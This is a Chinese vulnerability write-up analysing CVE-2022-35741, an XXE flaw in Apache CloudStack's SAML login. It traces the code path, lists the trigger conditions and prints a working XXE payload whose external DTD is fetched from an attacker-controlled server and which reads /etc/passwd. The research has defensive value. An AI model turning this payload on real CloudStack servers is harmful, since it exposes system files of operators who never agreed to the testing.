目录

CVE-2022-35741 Apache CloudStack SAML XXE注入

前言

最近爆了好多洞,看到有个XXE注入,正好前段时间刚分析完ZOHO那个XXE正好分析一波

环境搭建

跟着官网安装,直接放弃,最后找到了docker的镜像,直接docker搭起来,不过在docker进行远程调试的时候又出现了巨多坑,整个环境搭了两天,环境为4.17.0.0

1
2
docker pull ustcweizhou/cloudstack-simulator 
docker run --name cloudstack-simulator -p 8888:5050 -p 9999:9999 -d ustcweizhou/cloudstack-simulator

其中8888是web端口,9999是要开启的远程调试端口,接下来直接按照以下命令执行即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//在虚拟机当前目录新建一个supervisord的配置文件
vim supervisord.conf

//内容如下,里面只是在原先的基础上加了个idea的远程调试,端口为9999
[supervisord]
nodaemon=true

[program:mysqld]
command=/usr/bin/mysqld_safe
autostart=true
autorestart=true
user=root

[program:cloudstack]
command=/bin/bash -c "export MAVEN_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:9999';mvn -pl client jetty:run -Dsimulator -Dorg.eclipse.jetty.annotations.maxWait=120"
directory=/root
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root

[program:cloudstack-ui]
command=/bin/bash -c "npm run serve"
directory=/root/ui
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root

//将conf文件复制到容器内
docker cp supervisord.conf 容器id:/etc/supervisor/conf.d/supervisord.conf

//进入容器
docker exec -it 容器id bash

//更新supervisord文件配置即可
supervisorctl update

漏洞分析

先来看一下补丁,很明显的XXE注入漏洞,可以看到对responseMessage先进行了base64解密,在进行了XML解析,我们逆着来看看哪里调用了decodeSAMLResponse

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/7a868e20-27bd-55c3-d3b3-848c993b9715.png

org.apache.cloudstack.api.command.SAML2LoginAPIAuthenticatorCmd#processSAMLResponse中,调用了decodeSAMLResponse,继续往上找

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/09a8b4ac-b3e3-2b26-a116-32fcb0843c28.png

在同一个类中找到了authenticate函数,可以看到传入一个idpId,而它是从params中的SAMLResponse中取出的值并且强转为String类型,而params是一个Map类型的,那么SAMLResponse就是一个key,很有可能就是在request中传过来的,我们继续往上找

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/2341fdd4-b6d4-e20c-7239-6b0877378bfb.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/08f79350-6e81-56a7-9d50-d294416dbd82.png

成功在ApiServlet中找到了调用方式,在其processRequestInContext函数内调用了authenticate,而且可以看到params里的值就是request转化而来的键值对,并且doGet和doPost最后都调用了processRequestInContext函数,那么到最后解析xml的值就是我们可以控制的SAMLResponse

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/94fcb129-0e16-baa6-8e94-7559cc91530e.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/3cf504fd-ce30-fbdf-0839-b5da4c35fb35.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/7583b0da-7c14-e094-6cdb-356083a0563c.png

接着来看一下wen.xml看看ApiServlet对应的路由,在/api/下会被调用

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/d4e35f7f-9806-98fb-680e-4280eca97586.png

在web页面中看到网络发的包,拿来一个加上SAMLResponse参数来看看最后触发漏洞需要的条件

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/b5763831-20da-fc51-36ec-2d1bdeeae57c.png

processRequestInContext中,需要满足apiAuthenticator != null这个条件才能进入到if语句中,进入if语句才能继续往下走,这就要apiAuthenticator必须有值,我们进入到getAPIAuthenticator来看一下

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/641685e7-a346-f3ae-95c4-efbe59b7830e.png

可以看到必须满足s_authenticators != null && s_authenticators.containsKey(name)条件,apiAuthenticator才不会为空,其中会检测传进来的name是否在s_authenticators内,而name就是我们可控的command,此时command的值需要为以下的几个值才符合条件,可以看到里面有两个值samlssosamlslo该漏洞的触发就是需要在开启saml的前提下才会触发而这两个值就是在开启saml后有的值,既然已经知道了触发条件直接将command值改为samlsso

saml开启是在登录web后在全局配置中将saml2.enabled改为true即可

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/71010d1b-accb-d883-fed1-fda1e7ebc389.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/fdb3f826-b504-165d-008c-5f2222811abf.png

可以看到通过command获取的apiAuthenticator的值就是能够继续触发漏洞的SAML2LoginAPIAuthenticatorCmd

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/48a6a8e0-3a9d-c3e7-9ad6-fb34805e1ab5.png

最后对SAMLResponse的值进行base64解密后触发XXE漏洞,接下来构造payload触发

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/84e4bb0b-d642-7262-cd8f-248e90fa80fc.png

payload如下:

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://@evilServer:8000/ev.dtd">
    %ext;
]>
<message></message>
1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

server端有被访问但是并没有回显,然后就想到了利用ftp协议工具进行回显,但是测试一直不成功,然后发现CloudStack的服务端jdk版本为openjdk 11.0.15,而在高版本中在FtpURLConnection类中进行url检测

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/24daa5a5-4896-e0ce-738e-680038c1ee73.png

会对换行符进行检测,如果有的话直接抛出异常,这里就尝试了很多方法都不能回显,在网上查文章发现好像高版本的XXE无回显确实无法利用,这里在网上看到一篇文章,详细的解释了为什么高版本jdk的ftp无法利用

  1. <7u141<8u131:不会受文件中\n的影响
  2. >jdk8u131:能创建FTP连接,外带文件内容中含有\n则抛出异常
  3. >jdk8u232:不能创建FTP连接,只要url中含有\n就会抛出异常

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/41f8ffc5-3378-d218-caa5-829e7414ad6f.png

在调试的时候发现会在detaiMessage中回显/etc/passwd文件内容,但是并不会回显到前端

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/dc022798-6fc4-62fe-8ab6-d8d6c30c2427.png